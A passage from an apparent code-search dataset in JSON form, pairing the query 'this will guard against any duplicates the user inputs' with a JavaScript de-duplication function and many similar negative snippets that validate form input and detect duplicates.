\"0.46384144\",\n \"0.46374774\",\n \"0.46294704\",\n \"0.4627889\",\n \"0.46241114\",\n \"0.46236378\"\n]"},"document_score":{"kind":"string","value":"0.7198466"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":11,"cells":{"query":{"kind":"string","value":"this will guard against any duplicates the user inputs"},"document":{"kind":"string","value":"function noDuplicatesinUserGuesses(userGuessesArr) {\n\tvar checkDuplicatesArr = [];\n\tfor (var i = 0; i < userGuessesArr.length; i++) {\n\t\tif (checkDuplicatesArr.indexOf(userGuessesArr[i]) === -1) {\n\t\t\tcheckDuplicatesArr.push(userGuessesArr[i]);\n\t\t}\t\n\t}\n\treturn checkDuplicatesArr;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function checkIsDuplicatingInputs(numOfInputs) {\n const InputsArr = [];\n for (let i = 1; i <= numOfInputs; i++) {\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\n }\n return InputsArr.length === new Set(InputsArr).size;\n }","function uniqueInput(input){\n\t\tvar temp = 0;\n\t\tfor(m=0; m < guessedLetters.length; m++) {\n\t\t\tif (guessedLetters[m] === input){\n\t\t\t\ttemp++;\n\t\t\t\t// log(\"Temp count: \" + temp);\n\t\t\t}\n\t\t}\n\t\tif (temp === 0){\n\t\t\tuniqueLetter = true;\n\t\t\t// alert(\"First Time\");\n\t\t\treturn uniqueLetter;\n\t\t\tguessedLetters.push(input);\n\t\t}\n\t\telse if(temp !== 0){\n\t\t\tuniqueLetter = false;\n\t\t\t// alert(\"Please Pick a new letter that you have not used before.\");\n\t\t\treturn uniqueLetter;\n\t\t}\n\t}","function duplicateChecker(input) {\r\n let duplicateSwitch = false;\r\n if (ul.children.length > 0) {\r\n for (let i = 0; i < ul.children.length; i++) {\r\n if (input.value === ul.children[i].children[0].textContent) {\r\n duplicateSwitch = true;\r\n break;\r\n };\r\n }\r\n }\r\n return duplicateSwitch;\r\n }","function checkUserDuplicates(value) {\n if (!userInputsArray.includes(value)) {\n userInputsArray.push(value);\n\n return true;\n }\n\n return false;\n}","function inputIsValid(){\n\tconsole.log(ul.children.length);\n\tif (input.value.length > 0)\n\t{\n\t\tfor (i = 0, len = ul.children.length; i < len; i++) {\t\t\t\n\t\t\t//
  • Notebook
  • \n\t\t\t// ul.children[i] = selected list item (textContent for above example = \"Notebook Delete\", so inspect span tag only)\n\t\t\t// ul.children[i].children[0] = span tag of the selected list item\t\t\t\n\t\t\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\n\t\t if (input.value.toLowerCase().trim() === entry) {\n\t\t \treturn false //don't add duplicate item\n\t\t\t}\n\t\t}\n\t\tconsole.log(\"isValid\");\n\t\treturn true;\n\t}\n\treturn false;\n}","function DuplicateIn() {\n\n var formInvalid = false;\n $('#register_form input').each(function() {\n if ($(this).val() === '') {\n formInvalid = true;\n }\n });\n\n if (formInvalid)\n alert('One or Two fields are empty. Please fill up all fields');\n}","function appendListIfInputValid(input) {\n // info: slice() slices the string and returns it starting from the given index\n // toUpperCase() converts a string to uppercase letters.\n // toLowerCase() converts a string to lowercase letters.\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\n\n // appends list array and returns true if no duplicate or empty values else returns false\n if (searchArrayForItem(list, input) == -1 && input != '') {\n list.push([input, 'noCheck']);\n return true;\n } else return false;\n}","function addTokenGuard()\n {\n if(input.val() == '' || input.val() == undefined)\n return true;\n\n // If the value already exists in the list then dont add it\n var dirty = false;\n list.children('li').each(function() {\n if($(this).html() == input.val())\n dirty = true;\n });\n\n return dirty;\n }","function manage_user_input(){\n let input = $(\"#user_input\").val().toUpperCase();\n if(input.length > 0 && !all_user_input.includes(input)){\n $(\"#game_message_p\").attr(\"hidden\",true);\n $(\"#user_input\").val(\"\");\n let isTarget = check_user_input(input);\n store_user_input(input,isTarget);\n } else {\n $(\"#game_message_p\")\n .text(\"Input too short (min length = 1) or you already tried this word.\")\n .attr(\"hidden\",false);\n }\n}","function addTo() { \n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\n playerChoice = parseInt(document.getElementById(\"userinput\").value);\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\n playerArray.push(playerChoice); \n //highlights with an alert when the player has chosen all 6 numbers\n if(playerArray.length == 6){\n printNumbersPlayer()\n alert(\"you have now chosen your 6 numbers!\");\n }\n\n return false;\n }\n //this else statement posts an alert if a duplicate has been used\n else {\n alert(\"you have used a duplicate, try another number!\");\n return false;\n }\n }","function checkDuplicatePicklistValues(arr) {\n\tvar len=arr.length;\n\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\n }\n return [[...seen], input]\n}","function add(animals, animal) {\n// takes an array of animals and an object representing a new animal\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\n \n // if user types something into the fields\n if (animal.name.length > 0 && animal.species.length > 0) {\n // loop to check to see if the name exists \n for (let i = 0; i < animals.length; i++) {\n if (animal.name === animals[i].name) {\n console.log (\"that animal exists\");\n return;\n } \n }\n animals.push(animal);\n }\n}","checkUserInput() {\r\n const {\r\n drugId1, drugId2, sample, dataset,\r\n } = this.state;\r\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\r\n }","function isDuplicateEntry(wslId) {\r\n\t//alert(\"wslField = \" + wslField);\r\n\tvar wslIdList = getMainView().forms[0].elements[wslField];\r\n\t//alert(\"wslIdList = \" + wslIdList);\r\n\tvar duplicate = false;\r\n\t//alert(\"!wslIdList = \" + (!wslIdList));\r\n\tif(!wslIdList) return false;\r\n\t\r\n\t//alert(\"wslIdList.length = \" + wslIdList.length);\r\n\tif(wslIdList.length) {\r\n\t\t// there are more than one entry\r\n\t\tfor(var z=0; z 1) return true\n }\n return false;\n}","function removeDuplicates (input) {\n\t\t\tlet result = input.filter(function(item, pos) {\n\t\t\t\treturn input.indexOf(item) == pos;\n\t\t\t});\n\t\t\treturn result\n\t\t}","function areThereDuplicates2() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n }","function findDuplicate() {\n\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\n var filteringModelsArray = _.uniq(modelsArray);\n\n return filteringModelsArray.length === modelsArray.length;\n }","function checkForDuplicates()\r\n\t{\r\n\tfor (i=0; i < activeClippings.length; i++)\r\n\t\t{\r\n\t\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\r\n\t\t}\r\n\t}","function checkInput(guess) {\n\t\tfor (var i = 1; i <= 4; i++) {\n\t\t\tvar inputnow = \"input\" + i;\n\t\t\t//console.log(inputnow);\n\t\t\tvar newNum = parseInt(document.getElementById(inputnow).value);\n\t\t\tconsole.log(newNum);\n\t\t\tif (isValid(newNum)) {\n\t\t\t\t\n\t\t\t\tif (checkNum(newNum, guess)) {\n\t\t\t\t\t// Good to go. \n\t\t\t\t} else {\n\t\t\t\t\tdocument.getElementById(\"message\").innerHTML = \"

    \" + newNum + \"Is a duplicate number. Fix it

    \";\n\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t\n\t\t\t\tdocument.getElementById(\"message\").innerHTML = \"

    Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away

    \";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t}\n\t}","function isDuplicate(name,phone,twitter){\n\tvar isduplicate=false; \n\t\tfor(var i=0;i 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function handleSaveUrl() {\n inputValue = input.value;\n let checkUrl = arrWithUrl.includes(inputValue);\n if(checkUrl) {\n showModal();\n modalContent.textContent = \"You have already saved this url\"; \n } else {\n arrWithUrl.push(inputValue);\n setLocalStorage(arrWithUrl);\n createUrlItem(inputValue);\n }\n form.reset();\n}","function validateNamesUnique() {\n var i = 0;\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\n vm.paramsForm['name_' + i].$setValidity(\n 'unique',\n vm.parametersList.isNameUnique(modelValue)\n );\n i++;\n }\n }","function areThereDuplicates() {\n // console.log(arguments)\n let counter = {};\n for (let i=0; i< arguments.length; i++){\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\n if (counter[arguments[i]]) return true;\n counter[arguments[i]] = 1;\n // console.log(counter)\n\n }\n return false;\n}","function checkDuplicatedNames() {\n\n for(var i = 0; i < productTable.length; i++)\n {\n if(productName.value == productTable[i].name) \n {\n productName.classList.add(\"is-invalid\");\n productName.classList.remove(\"is-valid\");\n\n PNameAlert.classList.add(\"d-block\");\n PNameAlert.classList.remove(\"d-none\");\n\n PNameAlert.innerHTML = \"Product Name Already Exists\";\n\n addBtn.disabled = true;\n } \n }\n}","function insertNum(){\r\n var win = true;\r\n for (var i = 0; i < numbers.length; i++) {\r\n userList[i] = Number(prompt(\"Inserisci il \"+ (i+1) +\"° numero\"));\r\n if (userList[i] === numbers[i]) {\r\n win *= true;\r\n }\r\n else{\r\n win = false;\r\n }\r\n }\r\n return win;\r\n}","function getValue(input){\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\n if(operators2.includes(inputs[inputs.length-1]===true && input===\".\")){\n console.log(\"Duplicat '.' \");\n }\n //if very first number is exactly = 1\n else if(inputs.length===1 && operators1.includes(input)===false){\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\n inputs.push(input); \n }\n //if last thing was not an operator, go ahead and add that input to the array\n //if last character was not an operator, add operator to the array\n else if(operators1.includes(inputs[inputs.length-1])===false){\n inputs.push(input);\n }\n //check to add a number..convert string to number\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\n else if(nums.includes(Number(input))){\n //push input to end of array?\n inputs.push(input);\n }\n //update function will update value at end of our list\n update();\n }","function findDuplicateCharacters(input) {\n}","inNoOfShare() {\n var flag = true;\n var Noofshares = read.question(\"Enter how many shares you have \");\n while (flag) {\n\n if (!isNaN(Noofshares)) {//for validate full name\n flag = false;\n } else {\n var Noofshares = read.question(\"Wrong input !!!...Please enter No of shares in integer \");\n }\n }\n return Noofshares;\n }","function hasElementsWithUniqueNames() {\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\n // Radio buttons have duplicate names.\n .filter(field => field.type !== 'radio');\n let problemFields = duplicates.map(field => stringifyElement(field));\n // Deduplicate items with same tagName and id.\n problemFields = [...new Set(problemFields)];\n if (problemFields.length) {\n const item = {\n // description: 'Autocomplete values must be valid.',\n details: 'Found fields in the same form with duplicate name attributes:
    • ' +\n `${problemFields.join('
    • ')}`,\n learnMore: 'Learn more: The input element name attribute',\n title: 'Fields in the same form must have unique name values.',\n type: 'error',\n };\n items.push(item);\n }\n}","function validateInput(){\n\tvar api_key_input = $('#api-key-input');\n\tvar search_input = $('#summoner-name-input');\n \tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\n\t\tvar selected = getSelectedOption();\n\t\t//alert(empty_checker + ' | ' + selected);\n\t\tif (selected == 'summary'){\n\t\t\tsearchSummonerStatsSummary();\n\t\t} else {\n\t\t\tsearchSummonerStatsRanked();\n\t\t}\n\t}\n}","function areThereDuplicates() {\n if (arguments.length < 2) return false;\n const counter = {};\n for (let i = 0; i < arguments.length; i++) {\n if (counter[arguments[i]]) {\n return true;\n } else {\n counter[arguments[i]] = 1;\n }\n }\n return false;\n}","function userInput(){ \n everythingOk = false; \n while(everythingOk === false){\n // answer = inputLength(); \n upCaseRslt = upCase();\n lcase = lowCase(); \n numAnsr = numOpt();\n symbolAnswer = simbl(); \n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\n alert(\"at least one option must be checked in order to create password\"); \n }else{ \n everythingOk = true; \n } \n } \n }","function oneOfEach(sentence) {\n let unique = [];\n sentence = sentence.split('');\n for(let i = 0; i < sentence.length; i++) {\n if(!unique.includes(sentence[i])) {\n unique.push(sentence[i]);\n }\n }\n let newSentence = unique.join('');\n return $('
  • ').text('No duplicates: ' + newSentence).appendTo('#outputs');\n}","function clickedScore() {\n if (playerInitals.includes(nameSubmit.value)) {\n alert(\"That inital already exist\");\n } else if (\n nameSubmit.value === \"\" ||\n nameSubmit.value === null ||\n nameSubmit.value === undefined\n ) {\n alert(\"Please enter valid initals\");\n } else {\n playerInitals.push(nameSubmit.value);\n playerScores.push(score);\n setLS();\n matchHS();\n viewHS();\n }\n}","handleSubmit(event) {\n event.preventDefault();\n let symbol = event.target[0].value.trim();\n if (symbol === '') {\n alert('The input box was empty.');\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\n alert('This stock symbol has already been entered.');\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\n alert('That isn\\'t a valid stock symbol.');\n } else {\n let newSymbols = this.state.stockSymbols.slice();\n newSymbols.push(symbol.toUpperCase());\n this.setState({stockSymbols: newSymbols});\n }\n }","function duplicateCheck() {\n if(duplicateInput.checked) {\n if (lengthInput.value.trim() <= 10) {\n return(true)\n }\n else {\n dupErrorString.textContent = \"You can only remove duplicates for a password of 10 or fewer characters\"\n return(false)\n }\n }\n else {\n return(true)\n }\n}","addSong(selectedSong){\r\n let newItem = this.userBand + \" - \" + selectedSong;\r\n //prevents adding of duplicate songs\r\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\"This song is already in the list\");\r\n }","function readInput() {\n clear(\"comparingDiv\")\n\n input1 = document.getElementById(\"searchbox1\").value;\n input2 = document.getElementById(\"searchbox2\").value;\n\n var list = educationInterface.getIDs();\n\n if (!list.includes(input1) || !list.includes(input2)) \n comparingDiv.appendChild(document.createTextNode(\"Invalid input. Please check that both field contain valid ids.\"));\n else \n createComparisionTables(input1.toString(), input2.toString());\n\n return false;\n}","inStockName() {\n var name = read.question(\"Enter the name of stock \");\n var flag = true;\n while (flag) {//for validating inputs\n\n if (isNaN(name)) {//for validate the name \n flag = false;\n } else {\n var name = read.question(\"Wrong input !!!...Please enter correct name of Stack \");\n }\n }\n return name;\n }","function duplicateChars(letter) {\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\n warning = \"YOU ALREADY GUESSED THAT LETTER!\";\n warningElement.innerHTML = warning;\n }\n}","function duplicateFinder(word, inputValueArr, currentKey) {\n console.log(\"word, inputValueArr, currentKey\", word, inputValueArr, currentKey);\n\n for (let i = 0; i < inputValueArr.length; i++) {\n //exclude checking the current index while finding duplicates.\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\n if (currentKey != i && word === inputValueArr[i]) {\n return true;\n }\n\n }\n return false;\n}","function checkInput() {\n if (attempts > 0) {\n let counter = 0;\n\n for (let toValidate of domList.children) {\n let li = toValidate;\n let wordChar = li.getAttribute(\"data-char\").toLowerCase();\n let pChar = toValidate.querySelector(\"p\");\n\n if (wordChar === inputChar) {\n counter = counter + 1;\n pChar.classList.remove(\"hidden\");\n }\n }\n let check = wrongKeys.includes(inputChar);\n\n if (counter === 0 && check === false) {\n wrongKeys.push(inputChar);\n displayWrongKeys();\n }\n }\n countWrongAttempts();\n}","addEntry() {\n let candidateName = this.state.newEntryName\n let temp = this.state.pieData\n let newId = this.generateId()\n\n //Avoiding empty labels\n if(candidateName === ''){\n alert(\"Please insert an entry name\")\n } \n else{\n\n //Ensuring that the label is unique by going through all labels in pie data..\n for(var i = 0; i < temp.length; i++){\n\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \n if(temp[i].label === candidateName){\n alert(\"This entry already exists. Please enter a unique entry name.\");\n document.getElementById('newEntry').value = '';\n return\n }\n }\n\n //If there are no errors, the entry object is pushed into pieData.\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\n this.setState({\n pieData: temp,\n newEntryName: ''\n })\n //Reset the data from the input\n document.getElementById('newEntry').value = '';\n }\n }","function combinedArray() {\n var userName = prompt(\"Please enter a name\", \"Enter name here\");\n var nameSearch = allNames.lastIndexOf(userName);\n if (nameSearch > 0) {\n alert(\"Your name is in the array\")\n }\n else {\n alert(\"Your name is NOT in the array\")\n }\n}","function areThereDuplicates() {\n let freqCounter = {};\n for(let i = 0; i < arguments.length; i++){\n if(freqCounter[arguments[i]]){\n return true;\n } else {\n freqCounter[arguments[i]] = true;\n }\n }\n return false;\n}","function validateUnique(threeArray){\n for(var i = 0; i < threeArray.length; i ++){\n for(var v = 0; v < lastItemsSeen.length; v++){\n if(threeArray[i].product === lastItemsSeen[v].product){\n \n return false;\n \n }\n }\n return true;\n }\n}","function userInput() {\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\n checkedLower = window.confirm('Do you want Lower Case Letters?');\n checkedNumbers = window.confirm('Do you want Numbers?');\n checkedSpecial = window.confirm('Do you want Special Characters?');\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\n alert(\"Must choose at least one\");\n userInput();\n }\n}","function areThereDuplicates() {\n let collection = {};\n for (let val in arguments) {\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\n }\n for (let key in collection) {\n if (collection[key] > 1) return true;\n }\n return false;\n}","function checkUserInput(){\n\t\t//check if title name is inputted\n\t\tif (!$(element).find('input[id=edit_title_name]').val()){\n\t\t\talert (\"Please input the test's title name\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if test type is selected\n\t\tif (!$('#edit_test_type').val()){\n\t\t\talert (\"Please choose the test type\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if total question number is inputted correctly\n\t\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\n\t\t\talert (\"Please input correct number in total main question number\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check in each question set...\n\t\tnGroups = $(element).find('input[id=edit_total_question]').val();\n\t\tfor (var i=1;i<=nGroups;i++){\n\t\t\t//check if sub question number is inputted correctly\n\t\t\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\n\t\t\t\talert (\"Please input correct number in total sub question number for Q\" + i);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//check in each question...\n\t\t\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\n\t\t\tfor (var j=1;j<=total_sub_question;j++){\n\t\t\t\t//check question content or picture is inputted\n\t\t\t\tif (!$(element).find('input[name=question' + i + '\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\.'+ j + '_pic]').val()){\n\t\t\t\t\talert (\"Please input a question content or picture on Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\t\t\t\t\n\t\t\t\t}\n\t\t\t\t//check learning object link and name are inputted.\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object link for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object name for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//variable to check for checkbox (correct answer)\n\t\t\t\tvar isChecked = false;\t\n\t\t\t\t//check for each answer...\n\t\t\t\tfor (var k=1;k<=4;k++){\n\t\t\t\t\t//check answer content is inputted\n\t\t\t\t\tif (!$(element).find('input[name=answer' + i + '\\\\.'+ j + '_'+ k + ']').val()){\n\t\t\t\t\t\talert (\"Please input an answer for Q\" + i + \".\" + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t//check if one of checkboxes is selected \n\t\t\t\t\tif ( $(element).find('input[id=answer' + i + '\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\n\t\t\t\t\t\tisChecked = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//if no checkbox is selected\n\t\t\t\tif (!isChecked){\n\t\t\t\t\talert (\"Please select one correct answer in Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\t\t\n }\n\t\treturn true;\n\t}","function checkInput(){\n if(isNaN(userGuess)) {\n alert(\"Please enter a number from 1 - 100!\");\n } else if(userGuess === \" \") {\n alert(\"Well, you have to input a number\");\n } else if (userGuess < 0 || userGuess > 100) {\n alert(\"Plese enter a number from 1 - 100!\");\n } else {\n comparisonAmount();\n console.log(\"User guess = \" + userGuess);\n $('#userGuess').val('');\n guessCount++;\n setCount(guessCount);\n $('ul#guessList').append(\"
  • \" + userGuess + \"
  • \");\n }\n}","checkIfUnique(name, value, signal) {\n if (name === 'password' || name === 'confirmPassword') return;\n return this.getAll(signal)\n .then(users => {\n return users.find(user => user[name] === value)\n })\n .then(user => {\n let message = '';\n if (user !== undefined){\n message = `This ${name} has already been used.`; \n } \n return this.setError(name, message); \n });\n }","function checkDuplicate()\n {\n var found = false;\n for (var i = 0; i < $scope.list.length; i++)\n {\n if ($scope.list[i].item == $scope.item)\n {\n found = true;\n }\n }\n return found;\n }","function areThereDuplicates() {\n let args = [...arguments];\n const argsList = {}\n for(let i = 0; i< args.length; i++){\n let currentArg = args[i];\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\n }\n for (let two in argsList) {\n if (argsList[two] > 1) {\n return true;\n }\n }\n return false;\n}","handleSubmit(e) {\n e.preventDefault();\n let firstValue, secondValue;\n const [firstInput, secondInput] = e.target.elements;\n firstValue = firstInput.value.trim().split(' ').join('');\n secondValue = secondInput.value.trim().split(' ').join('');\n\n this.checkValues(firstValue,secondValue);\n\n firstInput.value = '' ;\n secondInput.value = '' ;\n firstInput.focus();\n\n }","function checkEntry() {\n while (typeof sticksToRemove !== \"number\" ||\n Math.trunc(sticksToRemove) !== sticksToRemove ||\n sticksToRemove < 1 ||\n sticksToRemove > Math.min(3, stickCount)) {\n sticksToRemove = parseInt(prompt(\"Invalid entry. \" + players[0] + \", how many sticks do you want to remove? (1-3)\"));\n }\n}","function checkDupe(data,x){\n\n if(idArray.includes(data[x][0])){\n return false;\n } else { return true; }\n\n}","function areThereDuplicatesBonus(...args) {\n args.sort();\n let j = 1;\n let i = 0;\n while(j !== args.length){\n if(args[j] !== args[i]){\n i++;\n j++;\n } else {\n return true;\n }\n }\n return false;\n}","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function validateSkillSelections(){\n // if there are errors clear them here, we'll replace them if they aren't fixed\n $('.skills_section .validation_error').remove();\n var $skills = $(\".skill_selector\");\n var result = true;\n console.log(`Starting skill validation. Result: ${result}`);\n for(let j = 0; j < $skills.length; j++){\n for(let i = $skills.length - 1; i > j; i--){\n if( $($skills[j]).val() === $($skills[i]).val()){\n // Two skills are the same, fire an error message\n console.log(\"two skills are the same!!!!\");\n result = false;\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\"_\"));\n if ($(`.skills_section .${skillType}_error`).length < 1){\n insertValidationError(`.${skillType}_list`, skillType, \"You cannot choose the same skill more than once\"); \n }\n }\n }\n }\n console.log(`Ending skill validation. Result: ${result}`);\n return result;\n }","function checkGuess () {\n var isItRepeated = $guessed.includes($guess);\n if (isItRepeated === true) {\n alreadyGuessed = true;\n } else {\n alreadyGuessed = false;\n }\n }","addStudent(newStudent) {\n let foundDuplicates = studentsFullList.filter(student => {\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\n });\n if (foundDuplicates.length > 0) {\n console.log(`Student already added`);\n } else {\n studentsFullList.push(newStudent);\n }\n return {\n newStudent,\n studentsFullList\n }\n }","function isValid(guess) {\n return !hasDuplicates(guess)\n}","function validateUsers(e) {\n let username = e.target.name.value;\n let pin = e.target.pin.value;\n console.log(username, pin);\n let x = sortedUsers.find((user) => user.username === username);\n if (x != undefined) {\n x.pin === pin ? exitSignIn(x) : alert(\"incorrect password\");\n } else {\n console.log(\"at else Existing User\");\n alert(\"invalid input, try again\");\n }\n }","function theGuess(userInput) {\n //if the user guessed correctly....\n if (userInput === theLetter) {\n winCounter++;\n lettersGuessed.length = 0;\n guessesRemaining = 8;\n newLetter();\n printWin();\n printLetters();\n printGuesses();\n winCheck();\n //if the user guessed incorrectly and that letter has not already been guessed....\n } else if (lettersGuessed.includes(userInput) === false) {\n console.log(`User entered ${userInput}`);\n lettersGuessed.push(userInput);\n guessesRemaining--;\n printGuesses();\n printLetters();\n }\n gameCheck();\n}","function checkInputField(event) {\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\n AddPlayer();\n }\n}","function validActivityInput(){\n let activity = [];\n const activityError = \"

    At least one activity must be selected

    \";\n $('.activities label input').each((index, element) => {\n activity.push(element.checked);\n })\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\n $('.activities').after(activityError);\n }\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\n $('.activityWarning').remove();\n }\n}","function checkInput(name,key)\n{\n if (name.match(/^\\s*$/)) //checks that roomane is not empty/contain only whitespace\n {\n window.alert(\"Room Name Can't Be Empty\");\n return false;\n }\n else if (key.match(/^\\s*$/)) //check that room key is not empty/contain only whitespace\n {\n window.alert(\"Room Key Can't Be Empty\");\n return false;\n }\n else\n {\n return true;\n }\n}","function playersGuessSubmission() {\n playersGuess = $(\"#guessInput\").val();\n \n $(\"#yourGuess\").text(\"Your guess was \" + playersGuess + \".\");\n \n \t$(\"#guessInput\").val(\"\").focus();\n if (checkGuess()==false){\n $(\"#compare\").text(lowerOrHigher());\n if (guessHistory.indexOf(playersGuess)!== -1){\n \t\t$(\"#yourGuess\").append(\" You've tried that before!\"); \t\t \n \t\t}\n \t}\n \tguessHistory.push(playersGuess);\n \t\n}","function uniqueValues(value) {\n if (arr1.includes(value) && arr2.includes(value)) {\n console.log(\"dupe\") \n } else {\n return value;\n }\n }","validateAnItem(item) {\n let errors = [];\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\n errors.push(\"There's already a sequence with this name\");\n }\n if (_.find(this.state.items, {sequence: item.sequence})) {\n errors.push(\"There's already another entry for this sequence\");\n }\n if (item.sequenceName === \"\") {\n errors.push(\"Name is required\");\n }\n if (item.sequenceDescription === \"\") {\n errors.push(\"Description is required\");\n }\n if (item.sequence === \"\") {\n errors.push(\"Sequence is required\");\n } \n // We only need the first occurance of a non-allowed letter, so .search makes sense here\n let nonDNA = item[\"sequence\"].search(/[^ATCG]/g);\n if (nonDNA !== -1) {\n errors.push(`Non-DNA character found at position ${nonDNA}`);\n }\n return errors;\n }","function duplicateInputFieldMessage(fieldName) {\n return \"There can be only one input field named \\\"\".concat(fieldName, \"\\\".\");\n}","checkDupe() {\n let occurrences = this.props.occurrences;\n let habit = this.state.currentHabit;\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\n let quantity = this.state.quantity;\n let found = false;\n\n occurrences.forEach(item => {\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\n found = true;\n }\n });\n\n if (found) {\n alert('Please make any updates to existing logs by updating your table');\n } else {\n this.props.logHabit(habit, time, quantity);\n }\n }","function checkIndivDupe() {\n var firstInstance = true;\n var dupeCount = 0;\n \n var validUserRows = validUserSheet.getLastRow() + 1;\n for (var row = 1; row < validUserRows; row++) {\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\n if (firstInstance) {\n isIndivDupe = true;\n //get original batch ID\n origBatchId = validUserSheet.getRange(row, 2).getValue();\n origUID = validUserSheet.getRange(row, 3).getValue();\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\n origUserLast = validUserSheet.getRange(row, 5).getValue();\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\n firstInstance = false;\n }\n //increment duplicate 